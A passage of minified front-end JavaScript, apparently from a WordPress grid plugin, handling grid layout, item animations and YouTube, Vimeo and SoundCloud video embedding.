d=e.fullScreenOffsetContainer.split(",");jQuery.each(d,function(t,n){f=f-jQuery(n).outerHeight(true);if(f<e.minFullScreenHeight){f=e.minFullScreenHeight}})}catch(v){}}}if(e.layout=="even"){i.itemh=Math.round(f)==0?Math.round(i.cwidth_n_spaces/e.column/a):Math.round(f/e.row);e.aspectratio=f==0?e.aspectratio:i.itemw+":"+i.itemh;if(h>0){punchgs.TweenLite.set(r,{display:"block",visibility:"visible",overwrite:"auto"})}else{punchgs.TweenLite.set(r,{display:"block",width:i.itemw,height:i.itemh,visibility:"visible",overwrite:"auto"})}}else{punchgs.TweenLite.set(r,{display:"block",width:i.itemw,height:"auto",visibility:"visible",overwrite:"auto"})}if(!t){punchgs.TweenLite.killTweensOf(r)}i.originalitemh=i.itemh;var m=new Array,g=e.row*e.column*2;for(var y=0;y<g;y++){var b=new Array;for(var w=0;w<e.column;w++){b.push(0)}m.push(b)}var E=0;jQuery.each(r,function(t,r){var o=jQuery(r);i.itemw=i.originalitemw;if(e.evenCobbles=="on"&&!o.hasClass("itemonotherpage")&&!o.hasClass("itemishidden")){var u=o.data("cobblesw"),l=o.data("cobblesh");if(e.cobblesPattern!=undefined&&e.cobblesPattern.length>2){var p=getCobblePat(e.cobblesPattern,E);u=parseInt(p.w,0);l=parseInt(p.h,0);E++}u=u==undefined?1:u;l=l==undefined?1:l;if(e.column<u){u=e.column}i.cobblesorigw=i.originalitemw;i.cobblesorigh=i.originalitemh;i.itemw=i.itemw*u+(u-1)*e.space;i.itemh=i.originalitemh;i.itemh=i.itemh*l+(l-1)*e.space;var d=u+":"+l,v=false,y=0,b=0;switch(d){case"1:1":do{if(m[y][b]==0){m[y][b]="1:1";v=true;i.cobblesx=b;i.cobblesy=y}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"1:2":do{if(m[y][b]==0&&y<g-1&&m[y+1][b]==0){m[y][b]="1:2";m[y+1][b]="1:2";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"1:3":do{if(m[y][b]==0&&y<g-2&&m[y+1][b]==0&&m[y+2][b]==0){m[y][b]="1:3";m[y+1][b]="1:3";m[y+2][b]="1:3";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"2:1":do{if(m[y][b]==0&&b<e.column-1&&m[y][b+1]==0){m[y][b]="2:1";m[y][b+1]="2:1";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"3:1":do{if(m[y][b]==0&&b<e.column-2&&m[y][b+1]==0&&m[y][b+2]==0){m[y][b]="3:1";m[y][b+1]="3:1";m[y][b+2]="3:1";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"2:2":do{if(b<e.column-1&&y<g-1&&m[y][b]==0&&m[y][b+1]==0&&m[y+1][b]==0&&m[y+1][b+1]==0){m[y][b]="2:2";m[y+1][b]="2:2";m[y][b+1]="2:2";m[y+1][b+1]="2:2";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"3:2":do{if(b<e.column-2&&y<g-1&&m[y][b]==0&&m[y][b+1]==0&&m[y][b+2]==0&&m[y+1][b]==0&&m[y+1][b+1]==0&&m[y+1][b+2]==0){m[y][b]="3:2";m[y][b+1]="3:2";m[y][b+2]="3:2";m[y+1][b]="3:2";m[y+1][b+1]="3:2";m[y+1][b+2]="3:2";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"2:3":do{if(b<e.column-1&&y<g-2&&m[y][b]==0&&m[y][b+1]==0&&m[y+1][b]==0&&m[y+1][b+1]==0&&m[y+2][b+1]==0&&m[y+2][b+1]==0){m[y][b]="2:3";m[y][b+1]="2:3";m[y+1][b]="2:3";m[y+1][b+1]="2:3";m[y+2][b]="2:3";m[y+2][b+1]="2:3";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break;case"3:3":do{if(b<e.column-2&&y<g-2&&m[y][b]==0&&m[y][b+1]==0&&m[y][b+2]==0&&m[y+1][b]==0&&m[y+1][b+1]==0&&m[y+1][b+2]==0&&m[y+2][b]==0&&m[y+2][b+1]==0&&m[y+2][b+2]==0){m[y][b]="3:3";m[y][b+1]="3:3";m[y][b+2]="3:3";m[y+1][b]="3:3";m[y+1][b+1]="3:3";m[y+1][b+2]="3:3";m[y+2][b]="3:3";m[y+2][b+1]="3:3";m[y+2][b+2]="3:3";i.cobblesx=b;i.cobblesy=y;v=true}b++;if(b==e.column){b=0;y++}if(y>=g){v=true}}while(!v);break}e.aspectratio=i.itemw+":"+i.itemh;punchgs.TweenLite.set(o,{width:i.itemw,height:i.itemh,overwrite:"auto"});var w=o.find(".esg-entry-media").find("img");if(w.length>0){evenImageRatio(w,e,true)}}else{var S=i.row-h*Math.floor(i.row/h);if(e.layout=="even"&&h>0){e.column=c[S][e.columnindex];i.cwidth=n.find(".esg-overflowtrick").width()-e.overflowoffset*2;i.cwidth_n_spaces=i.cwidth-(e.column-1)*e.space;i.itemw=Math.round(i.cwidth_n_spaces/e.column);i.itemh=f==0?i.cwidth_n_spaces/e.column/a:f/e.row;e.aspectratio=f==0?e.aspectratio:i.itemw+":"+i.itemh;punchgs.TweenLite.set(o,{width:i.itemw,height:i.itemh,overwrite:"auto"})}}if(e.layout=="even"){var w=o.find(".esg-entry-media").find("img");if(w.length>0){evenImageRatio(w,e,true)}}else{if(o.hasClass("itemtoshow")){if(o.width()!=i.itemw||o.css("opacity")==0||o.css("visibility")=="hidden"){i=prepareItemToMessure(o,i,n)}else{adjustMediaSize(o,true,i,e);i.itemh=o.height()}}else{adjustMediaSize(o,true,i,e);i.itemh=o.height()}}i=animateGrid(r,e,i);i.itemcounter++;if(s.height()<i.maxheight){n.trigger("itemsinposition")}});e.aspectratio=e.aspectratioOrig;if(i.itemtowait==0){e.container.trigger("itemsinposition");n.find(".mainul").removeClass("gridorganising")}var S=getBestFitColumn(e,jQuery(window).width(),"id");e.column=S.column;e.columnindex=S.index;e.maxheight=i.maxheight;e.container.trigger("itemsinposition");e.inanimation=true;e.started=false;e.filterchanged=false;e.silent=false;e.silentout=false;e.changedAnim="";setOptions(n,e);var x=n.parent().parent().find(".esg-loader");if(x.length>0){punchgs.TweenLite.to(x,0.2,{autoAlpha:0})}}function prepareItemToMessure(e,t,n){adjustMediaSize(e,true,t,n.data("opt"));t.itemh=e.outerHeight(true);return t}function animateGrid(e,t,n){var r=jQuery(e),i=["fade","scale","vertical-flip","horizontal-flip","vertical-flipbook","horizontal-flipbook","fall","rotatefall","rotatescale","stack"],s=["horizontal-slide","horizontal-harmonica"],o=["vertical-slide","vertical-harmonica"];n.skipanim=false;n.x=Math.round(n.col*n.itemw);if(t.layout=="even"){}else{n.idealcol=0;n.backupcol=n.col;for(var u=0;u<t.column;u++){if(n.currentcolumnheight[n.idealcol]>n.currentcolumnheight[u]){n.idealcol=u}}n.y=n.currentcolumnheight[n.idealcol];n.x=Math.round(n.idealcol*n.itemw)+n.idealcol*t.space;n.col=n.idealcol;if(n.itemh==undefined){n.itemh=0}}if(n.cobblesx!=undefined){n.x=n.cobblesx*n.cobblesorigw;n.y=n.cobblesy*n.cobblesorigh}n.waits=n.col*n.delaybasic+n.row*n.delaybasic*t.column;n.speed=t.animSpeed;n.inxrot=0;n.inyrot=0;n.outxrot=0;n.outyrot=0;n.inorigin="center center";n.outorigin="center center";n.itemh=Math.round(n.itemh);n.scale=1;n.outfade=0;n.infade=0;if(r.hasClass("itemonotherpage")){n.skipanim=true}if(n.anim=="horizontal-slide"){n.waits=0;n.hsoffset=0-n.cwidth-parseInt(t.space);n.hsoffsetout=0-n.cwidth-parseInt(t.space);if(t.oldpage!=undefined&&t.oldpage>t.currentpage){n.hsoffset=n.cwidth+parseInt(t.space);n.hsoffsetout=n.cwidth+parseInt(t.space)}}else{if(n.anim=="vertical-slide"){n.waits=0;n.maxcalcheight=t.row*t.space+t.row*n.itemh;n.vsoffset=n.maxcalcheight+parseInt(t.space);n.vsoffsetout=n.maxcalcheight+parseInt(t.space);if(t.oldpage!=undefined&&t.oldpage>t.currentpage){n.vsoffset=0-n.maxcalcheight-parseInt(t.space);n.vsoffsetout=0-n.maxcalcheight-parseInt(t.space)}}}n.outwaits=n.waits;if(t.layout=="even"&&n.cobblesx==undefined){n.x=n.x+n.col*t.space}if(n.cobblesx!=undefined){n.x=n.x+n.cobblesx*t.space;n.y=n.y+n.cobblesy*t.space}if(n.anim=="vertical-flip"||n.anim=="horizontal-flip"||n.anim=="vertical-flipbook"||n.anim=="horizontal-flipbook"){n=fakePositions(r,n,t)}if(n.anim=="vertical-flip"){n.inxrot=-180;n.outxrot=180}else{if(n.anim=="horizontal-flip"){n.inyrot=-180;n.outyrot=180}}n.outspeed=n.speed;if(t.animDelay=="off"){n.waits=0;n.outwaits=0}if(n.anim=="scale"){n.scale=0}else{if(n.anim=="vertical-flipbook"){n.inxrot=-90;n.outxrot=90;n.inorigin="center top";n.outorigin="center bottom";n.waits=n.waits+n.speed/3;n.outfade=1;n.infade=1;n.outspeed=n.speed/1.2;n.ease="Sine.easeOut";n.easeout="Sine.easeIn";if(t.animDelay=="off"){n.waits=n.speed/3;n.outwaits=0}}else{if(n.anim=="horizontal-flipbook"){n.inyrot=-90;n.outyrot=-90;n.inorigin="left center";n.outorigin="right center";n.waits=n.waits+n.speed/2.4;n.outfade=1;n.infade=1;n.outspeed=n.speed/1.2;n.ease="Sine.easeOut";n.easeout="Sine.easeIn";if(t.animDelay=="off"){n.waits=n.speed/3;n.outwaits=0}}else{if(n.anim=="fall"||n.anim=="rotatefall"){n.outoffsety=100;n=fakePositions(r,n,t);n.outfade=0}}}}if(n.anim=="rotatefall"){n.rotatez=20;n.outorigin="left top";n.outfade=1;n.outoffsety=600}else{if(n.anim=="rotatescale"){n.scale=0;n.inorigin="left bottom";n.outorigin="center center";n.faeout=1;n.outoffsety=100;n=fakePositions(r,n,t)}else{if(n.anim=="stack"){n.scale=0;n.inorigin="center center";n.faeout=1;n.ease="punchgs.Power3.easeOut";n=fakePositions(r,n,t);n.ease="Back.easeOut"}}}if(t.silent){n.waits=0;n.outwaits=0;n.speed=0;n.outspeed=0}if(t.silentout){n.outwaits=0;n.outspeed=0.4;n.speed=0.4;n.ease="punchgs.Power3.easeOut";n.easeout=n.ease}n.hooffset=t.overflowoffset;n.vooffset=t.overflowoffset;if(n.itemw+n.x-n.cwidth<20&&n.itemw+n.x-n.cwidth>-20){var a=n.itemw+n.x-n.cwidth;n.itemw=n.itemw-a}if((r.hasClass("itemtoshow")||r.hasClass("fitsinfilter"))&&!n.skipanim){r.addClass("isvisiblenow");if(t.layout!="even"){n.currentcolumnheight[n.idealcol]=n.currentcolumnheight[n.idealcol]+n.itemh+parseInt(t.space);if(n.ulcurheight<n.currentcolumnheight[n.idealcol]){n.ulcurheight=n.currentcolumnheight[n.idealcol]}}else{n.ulcurheight=n.y+n.itemh}if(n.maxheight<n.ulcurheight){n.maxheight=n.ulcurheight}n.itemtowait++;var f=Math.round(n.hooffset+n.x);var l=Math.round(n.vooffset+n.y);if(t.rtl=="on"){f=n.ulwidth-f-n.itemw}if(r.css("opacity")==0&&n.anim=="fade"){punchgs.TweenLite.set(r,{opacity:0,autoAlpha:0,width:n.itemw,height:n.itemh,scale:1,left:f,y:0,top:l,overwrite:"all"})}else{if(r.css("opacity")==0&&n.anim=="scale"){punchgs.TweenLite.set(r,{width:n.itemw,height:n.itemh,scale:0,left:f,y:0,top:l,overwrite:"all"})}else{if(r.css("opacity")==0&&n.anim=="rotatescale"){punchgs.TweenLite.set(r,{width:n.itemw,height:n.itemh,scale:1,left:f,top:l,xPercent:+150,yPercent:+150,rotationZ:20,overwrite:"all"})}else{if(r.css("opacity")==0&&n.anim=="fall"){punchgs.TweenLite.set(r,{width:n.itemw,height:n.itemh,scale:0.5,left:f,top:l,y:0,overwrite:"all"})}else{if(r.css("opacity")==0&&n.anim=="rotatefall"){punchgs.TweenLite.set(r,{autoAlpha:0,width:n.itemw,height:n.itemh,left:f,rotationZ:0,top:l,y:0,overwrite:"all"})}}}}}if(r.css("opacity")==0&&(n.anim=="vertical-flip"||n.anim=="horizontal-flip"||n.anim=="vertical-flipbook"||n.anim=="horizontal-flipbook")){punchgs.TweenLite.set(r,{autoAlpha:n.infade,zIndex:10,scale:1,y:0,transformOrigin:n.inorigin,rotationX:n.inxrot,rotationY:n.inyrot,width:n.itemw,height:n.itemh,left:f,top:l,overwrite:"all"})}if(n.anim=="stack"){punchgs.TweenLite.set(r,{zIndex:n.pageitemcounter,scale:0.5,autoAlpha:1,left:f,top:l})}if(n.anim=="horizontal-slide"&&r.css("opacity")==0){punchgs.TweenLite.set(r,{autoAlpha:1,left:Math.round(n.hooffset+(n.x-n.hsoffset)),top:l,width:n.itemw,height:n.itemh})}if(n.anim=="vertical-slide"&&r.css("opacity")==0){punchgs.TweenLite.set(r,{autoAlpha:1,left:f,top:Math.round(n.vooffset+n.y-n.vsoffset),width:n.itemw,height:n.itemh})}var c=r.find(".esg-entry-cover");var h=r.find(".esg-entry-media");if(c&&h){var p=h.height();var d=r.find(".esg-cc");punchgs.TweenLite.to(c,0.01,{height:p,ease:n.ease,delay:n.waits});punchgs.TweenLite.to(d,0.01,{top:(p-d.height())/2,ease:n.ease,delay:n.waits})}punchgs.TweenLite.to(r,n.speed,{force3D:"auto",autoAlpha:1,scale:1,transformOrigin:n.inorigin,rotationX:0,rotationY:0,y:0,x:0,xPercent:0,yPercent:0,z:0.1,rotationZ:0,left:f,top:l,ease:n.ease,delay:n.waits,onComplete:function(){if(r.hasClass("itemtoshow")){punchgs.TweenLite.set(r,{autoAlpha:1,overwrite:"all"})}n.itemtowait--;if(n.itemtowait==0){t.container.trigger("itemsinposition");r.closest(".mainul").removeClass("gridorganising")}}});if(r.find("iframe").length>0){r.find("iframe").each(function(){var e=jQuery(this);var n=Math.round(e.data("neww"));var i=Math.round(e.data("newh"));if(t.layout!="even"){punchgs.TweenLite.set(r.find(".esg-media-poster"),{width:n,height:i});punchgs.TweenLite.set(r.find("iframe"),{width:n,height:i})}else{punchgs.TweenLite.set(r.find(".esg-media-poster"),{width:"100%",height:"100%"});punchgs.TweenLite.set(r.find("iframe"),{width:"100%",height:"100%"})}})}if(r.find(".video-eg").length>0){r.find(".video-eg").each(function(){var e=jQuery(this);var n=e.data("neww");var i=e.data("newh");if(t.layout!="even"){punchgs.TweenLite.set(r.find(".esg-media-poster"),{width:n,height:i});punchgs.TweenLite.set(r.find(".esg-entry-media"),{width:n,height:i});punchgs.TweenLite.set(r.find(".video-eg"),{width:n,height:i})}else{punchgs.TweenLite.set(r.find(".esg-media-poster"),{width:"100%",height:"100%"});punchgs.TweenLite.set(r.find(".esg-entry-media"),{width:"100%",height:"100%"});punchgs.TweenLite.set(r.find(".video-eg"),{width:"100%",height:"100%"})}})}if(t.layout=="masonry"){n.col=n.backupcol}n=shiftGrid(n,t,r)}else{n.itemouttowait++;punchgs.TweenLite.set(r,{zIndex:5});r.removeClass("isvisiblenow");if(r.css("opacity")>0){if(n.anim=="stack"){punchgs.TweenLite.set(r,{zIndex:n.pageitemcounterfake+100});punchgs.TweenLite.to(r,n.outspeed/2,{force3D:"auto",x:-20-n.itemw,rotationY:30,rotationX:10,ease:Sine.easeInOut,delay:n.outwaits});punchgs.TweenLite.to(r,0.01,{force3D:"auto",zIndex:n.pageitemcounterfake,delay:n.outwaits+n.outspeed/3});punchgs.TweenLite.to(r,n.outspeed*0.2,{force3D:"auto",delay:n.outwaits+n.outspeed*0.9,autoAlpha:0,ease:Sine.easeInOut});punchgs.TweenLite.to(r,n.outspeed/3,{zIndex:2,force3D:"auto",x:0,scale:0.9,rotationY:0,rotationX:0,ease:Sine.easeInOut,delay:n.outwaits+n.outspeed/1.4,onComplete:function(){if(!r.hasClass("itemtoshow")){punchgs.TweenLite.set(r,{autoAlpha:0,overwrite:"all",display:"none"})}n.itemouttowait--;if(n.itemouttowait==0){t.container.trigger("itemsinposition")}}})}else{if(n.anim=="horizontal-flipbook"||n.anim=="vertical-flipbook"){punchgs.TweenLite.to(r,n.outspeed,{force3D:"auto",zIndex:2,scale:n.scale,autoAlpha:n.outfade,transformOrigin:n.outorigin,rotationX:n.outxrot,rotationY:n.outyrot,ease:n.easeout,delay:n.outwaits,onComplete:function(){if(!r.hasClass("itemtoshow")){punchgs.TweenLite.set(r,{autoAlpha:0,overwrite:"all",display:"none"})}n.itemouttowait--;if(n.itemouttowait==0){t.container.trigger("itemsinposition")}}})}else{if(n.anim=="fall"){punchgs.TweenLite.to(r,n.outspeed,{zIndex:2,force3D:"auto",y:n.outoffsety,autoAlpha:0,ease:n.easeout,delay:n.outwaits,onComplete:function(){if(!r.hasClass("itemtoshow")){punchgs.TweenLite.set(r,{autoAlpha:0,overwrite:"all",display:"none"})}n.itemouttowait--;if(n.itemouttowait==0){t.container.trigger("itemsinposition")}}})}else{if(n.anim=="horizontal-slide"){punchgs.TweenLite.to(r,n.outspeed,{zIndex:2,force3D:"auto",autoAlpha:1,left:n.hooffset+r.position().left+n.hsoffsetout,top:n.vooffset+r.position().top,ease:n.easeout,delay:n.outwaits,onComplete:function(){punchgs.TweenLite.set(r,{autoAlpha:0,overwrite:"all",display:"none"});n.itemouttowait--;if(n.itemouttowait==0){t.container.trigger("itemsinposition")}}})}else{if(n.anim=="vertical-slide"){punchgs.TweenLite.to(r,n.outspeed,{zIndex:2,force3D:"auto",autoAlpha:1,left:n.hooffset+r.position().left,top:n.vooffset+r.position().top+n.vsoffsetout,ease:n.easeout,delay:n.outwaits,onComplete:function(){punchgs.TweenLite.set(r,{autoAlpha:0,overwrite:"all",display:"none"});n.itemouttowait--;if(n.itemouttowait==0){t.container.trigger("itemsinposition")}}})}else{if(n.anim=="rotatefall"&&r.css("opacity")>0){punchgs.TweenLite.set(r,{zIndex:300-n.item});punchgs.TweenLite.to(r,n.outspeed/2,{force3D:"auto",transformOrigin:n.outorigin,ease:"punchgs.Bounce.easeOut",rotationZ:n.rotatez,delay:n.outwaits});punchgs.TweenLite.to(r,n.outspeed/2,{zIndex:2,force3D:"auto",autoAlpha:0,y:n.outoffsety,ease:punchgs.Power3.easeIn,delay:n.outwaits+n.outspeed/3})}else{punchgs.TweenLite.to(r,n.outspeed,{force3D:"auto",zIndex:2,scale:n.scale,autoAlpha:n.outfade,transformOrigin:n.outorigin,rotationX:n.outxrot,rotationY:n.outyrot,ease:n.easeout,delay:n.outwaits,onComplete:function(){if(!r.hasClass("itemtoshow")){punchgs.TweenLite.set(r,{autoAlpha:0,overwrite:"all",display:"none"})}n.itemouttowait--;if(n.itemouttowait==0){t.container.trigger("itemsinposition")}}})}}}}}}}else{punchgs.TweenLite.set(r,{zIndex:2,scale:n.scale,autoAlpha:0,transformOrigin:n.outorigin,rotationX:n.outxrot,rotationY:n.outyrot,onComplete:function(){if(!r.hasClass("itemtoshow")){punchgs.TweenLite.set(r,{autoAlpha:0,overwrite:"all",display:"none"})}n.itemouttowait--;if(n.itemouttowait==0){t.container.trigger("itemsinposition")}}})}n=shiftGridFake(n,t)}return n}function fakePositions(e,t,n){if((e.hasClass("itemtoshow")||e.hasClass("fitsinfilter"))&&!t.skipanim){}else{var r=e.data("col");var i=e.data("row");if(r==undefined||i==undefined){if(t.x!=0&&t.y!=0){t.x=Math.round(t.fakecol*t.itemw);t.y=t.fakey;r=t.fakecol;i=t.fakerow;e.data("col",t.fakecol);e.data("row",t.fakerow)}}if(t.anim=="rotatefall"){t.outwaits=(n.column-r)*t.delaybasic+i*t.delaybasic*n.column}else{t.outwaits=r*t.delaybasic+i*t.delaybasic*n.column}}return t}function shiftGrid(e,t,n){n.data("col",e.col);n.data("row",e.row);e.pageitemcounter++;e.col=e.col+e.verticalsteps;e.allcol++;if(e.col==t.column){e.col=0;e.row++;e.allrow++;e.y=parseFloat(e.y)+parseFloat(e.itemh)+parseFloat(t.space);if(e.row==t.row){e.row=0;if(e.pageitemcounter>=t.column*t.row){e.pageitemcounter=0}e.pagetoanimate=e.pagetoanimate+1;e.pagecounter++;if(e.pageitemcounter==0){for(var r=0;r<t.column;r++){e.currentcolumnheight[r]=0}}}}return e}function shiftGridFake(e,t){e.fakecol=e.fakecol+1;e.pageitemcounterfake++;if(e.fakecol==t.column){e.fakecol=0;e.fakerow++;e.fakey=e.fakey+e.itemh+t.space;if(e.fakerow==t.row){e.fakerow=0;e.pageitemcounterfake=0}}return e}function loadVideoApis(e,t){var n=0;var r=0;var i=0;var s=0;var o="http";if(location.protocol==="https:"){o="https"}e.find("iframe").each(function(e){try{if(jQuery(this).attr("src").indexOf("you")>0&&n==0){n=1;var t=document.createElement("script");var r="https";t.src=r+"://www.youtube.com/iframe_api";var i=document.getElementsByTagName("script")[0];var s=true;jQuery("head").find("*").each(function(){if(jQuery(this).attr("src")==r+"://www.youtube.com/iframe_api"){s=false}});if(s){i.parentNode.insertBefore(t,i)}}}catch(o){}});e.find("iframe").each(function(e){try{if(jQuery(this).attr("src").indexOf("vim")>0&&r==0){r=1;var t=document.createElement("script");t.src=o+"://a.vimeocdn.com/js/froogaloop2.min.js";var n=document.getElementsByTagName("script")[0];var i=true;jQuery("head").find("*").each(function(){if(jQuery(this).attr("src")==o+"://a.vimeocdn.com/js/froogaloop2.min.js"){i=false}});if(i){n.parentNode.insertBefore(t,n)}}}catch(s){}});e.find("iframe").each(function(e){try{if(jQuery(this).attr("src").indexOf("soundcloud")>0&&s==0){s=1;var t=document.createElement("script");t.src=o+"://w.soundcloud.com/player/api.js";var n=document.getElementsByTagName("script")[0];var r=true;jQuery("head").find("*").each(function(){if(jQuery(this).attr("src")==o+"://w.soundcloud.com/player/api.js"){r=false}});if(r){n.parentNode.insertBefore(t,n)}}}catch(i){}});var u={youtube:n,vimeo:r,soundcloud:s,htmlvid:i};return u}function toHHMMSS(){var e=new Date;var t=Math.floor(e)/1000;var n=Math.floor(t/60);var r=Math.floor(n/60);var i=Math.floor(r/24);var r=r-i*24;var n=n-i*24*60-r*60;var t=t-i*24*60*60-r*60*60-n*60;return r+":"+n+":"+t}function stopAllVideos(e,t,n){var r=".isplaying";if(e){r=""}jQuery(".esg-youtubevideo.haslistener"+r).each(function(t){var r=jQuery(this);var i=r.data("player");if(n!=r.attr("id")){i.pauseVideo();if(e){forceVideoInPause(r,true,i,"youtube")}}});jQuery(".esg-vimeovideo.haslistener"+r).each(function(t){var r=jQuery(this);var i=r.attr("id");var s=$f(i);if(n!=i){s.api("pause");if(e){forceVideoInPause(r,true,s,"vimeo")}}});jQuery(".esg-htmlvideo.haslistener"+r).each(function(t){var r=jQuery(this);var i=r.attr("id");var s=document.getElementById(i);if(n!=i){s.pause();if(e){forceVideoInPause(r,true,s,"html5vid")}}});jQuery(".esg-soundcloud"+r).each(function(t){var r=jQuery(this);var i=r.data("player");if(n!=r.attr("id")){i.pause();if(e){forceVideoInPause(r,true,i,"soundcloud")}}})}function forceVideoInPause(e,t,n,r){e.removeClass("isplaying");var i=e.closest(".tp-esg-item");if(i.find(".esg-media-video").length>0&&!jQuery("body").data("fullScreenMode")){var s=i.find(".esg-entry-cover");var o=i.find(".esg-media-poster");if(o.length>0){if(!is_mobile()){punchgs.TweenLite.to(s,0.5,{autoAlpha:1});punchgs.TweenLite.to(o,0.5,{autoAlpha:1});punchgs.TweenLite.to(e,0.5,{autoAlpha:0})}else{punchgs.TweenLite.set(s,{autoAlpha:1});punchgs.TweenLite.set(o,{autoAlpha:1});punchgs.TweenLite.set(e,{autoAlpha:0})}if(t){if(r=="youtube"){try{n.destroy()}catch(u){}}else{if(r=="vimeo"){try{n.api("unload")}catch(u){}}else{if(r!="html5vid"){e.removeClass("haslistener");e.removeClass("readytoplay")}}}}else{setTimeout(function(){if(!is_mobile()){e.css({display:"none"})}},500)}}}}function onPlayerStateChange(e){var t=e.target.getVideoEmbedCode();var n=jQuery("#"+t.split('id="')[1].split('"')[0]);var r=n.data("player");if(e.data==YT.PlayerState.PLAYING){r.setPlaybackQuality("hd1080");stopAllVideos(true,false,n.attr("id"));n.addClass("isplaying");n.removeClass("isinpause")}if(e.data==2){forceVideoInPause(n)}if(e.data==0){forceVideoInPause(n)}}function vimeoready_auto(e){var t=$f(e);var n=jQuery("#"+e);t.addEvent("ready",function(r){n.addClass("readytoplay");t.addEvent("play",function(t){stopAllVideos(true,false,e);n.addClass("isplaying");n.removeClass("isinpause")});t.addEvent("finish",function(e){forceVideoInPause(n);n.removeClass("isplaying")});t.addEvent("pause",function(e){forceVideoInPause(n);n.removeClass("isplaying")})})}function addEvent(e,t,n){if(e.addEventListener){e.addEventListener(t,n,false)}else{e.attachEvent(t,n,false)}}function html5vidready(e,t,n){t.addClass("readytoplay");t.on("play",function(){stopAllVideos(true,false,n);t.addClass("isplaying");t.removeClass("isinpause")});t.on("pause",function(){forceVideoInPause(t);t.removeClass("isplaying")});t.on("ended",function(){forceVideoInPause(t);t.removeClass("isplaying")})}function prepareYT(e){var t="ytiframe"+Math.round(Math.random()*100000+1);if(!e.hasClass("haslistener")&&typeof YT!="undefined"){try{e.attr("id",t);var n=new YT.Player(t,{events:{onStateChange:onPlayerStateChange}});e.data("player",n);e.addClass("haslistener").addClass("esg-youtubevideo")}catch(r){return false}}else{var n=e.data("player");if(n!=undefined){if(typeof n.playVideo=="function"){return true}else{return false}}else{return false}}}function playYT(e){var t=e.data("player");if(t!=undefined){if(typeof t.playVideo=="function"){t.playVideo()}}}function prepareVimeo(e){if(!e.hasClass("haslistener")&&typeof $f!="undefined"){try{var t="vimeoiframe"+Math.round(Math.random()*100000+1);e.attr("id",t);var n=e.attr("src");var r={},i=n,s=/([^&=]+)=([^&]*)/g,o;while(o=s.exec(i)){r[decodeURIComponent(o[1])]=decodeURIComponent(o[2])}if(r.player_id!=undefined){n=n.replace(r.player_id,t)}else{n=n+"&player_id="+t}try{n=n.replace("api=0","api=1")}catch(u){}n=n+"&api=1";e.attr("src",n);var a=e[0];$f(a).addEvent("ready",function(){vimeoready_auto(t)});e.addClass("haslistener").addClass("esg-vimeovideo")}catch(u){return false}}else{if(typeof $f!=undefined&&typeof $f!="undefined"){var f=$f(e.attr("id"));if(typeof f.api=="function"&&e.hasClass("readytoplay")){return true}else{return false}}else{return false}}}function playVimeo(e){var t=$f(e.attr("id"));t.api("play")}function prepareSoundCloud(e){if(e.data("player")==undefined&&typeof SC!="undefined"){var t="sciframe"+Math.round(Math.random()*100000+1);try{e.attr("id",t);var n=SC.Widget(t);n.bind(SC.Widget.Events.PLAY,function(){stopAllVideos(true,false,e.attr("id"));e.addClass("isplaying");e.removeClass("isinpause")});n.bind(SC.Widget.Events.PAUSE,function(){forceVideoInPause(e);e.removeClass("isplaying")});n.bind(SC.Widget.Events.FINISH,function(){forceVideoInPause(e);e.removeClass("isplaying")});e.data("player",n);e.addClass("haslistener").addClass("esg-soundcloud")}catch(r){return false}}else{var n=e.data("player");if(n!=undefined){if(typeof n.getVolume=="function"){return true}else{return false}}else{return false}}}function playSC(e){var t=e.data("player");if(t!=undefined){if(typeof t.getVolume=="function"){setTimeout(function(){t.play()},500)}}}function prepareVideo(e){if(!e.hasClass("haslistener")){var t="videoid_"+Math.round(Math.random()*100000+1);e.attr("id",t);var n=document.getElementById(t);n.oncanplay=html5vidready(n,e,t);e.addClass("haslistener").addClass("esg-htmlvideo")}else{try{var r=e.attr("id");var n=document.getElementById(r);if(typeof n.play=="function"&&e.hasClass("readytoplay")){return true}else{return false}}catch(i){return false}}}function playVideo(e){var t=e.attr("id");var n=document.getElementById(t);n.play()}var esgAnimmatrix=[[".esg-none",0,{autoAlpha:1,rotationZ:0,x:0,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0},{autoAlpha:1,ease:punchgs.Power2.easeOut,overwrite:"all"},0,{autoAlpha:1,overwrite:"all"}],[".esg-fade",0.3,{autoAlpha:0,rotationZ:0,x:0,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0},{autoAlpha:1,ease:punchgs.Power2.easeOut,overwrite:"all"},0.3,{autoAlpha:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-fadeout",0.3,{autoAlpha:1,ease:punchgs.Power2.easeOut,overwrite:"all"},{autoAlpha:0,rotationZ:0,x:0,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0},0.3,{autoAlpha:1,rotationZ:0,x:0,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-covergrowup",0.3,{autoAlpha:1,top:"100%",marginTop:-10,rotationZ:0,x:0,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0},{autoAlpha:1,top:"0%",marginTop:0,ease:punchgs.Power2.easeOut,overwrite:"all"},0.3,{autoAlpha:1,top:"100%",marginTop:-10,bottom:0,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"},true],[".esg-flipvertical",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,rotationX:180,autoAlpha:0,z:-0.001,transformOrigin:"50% 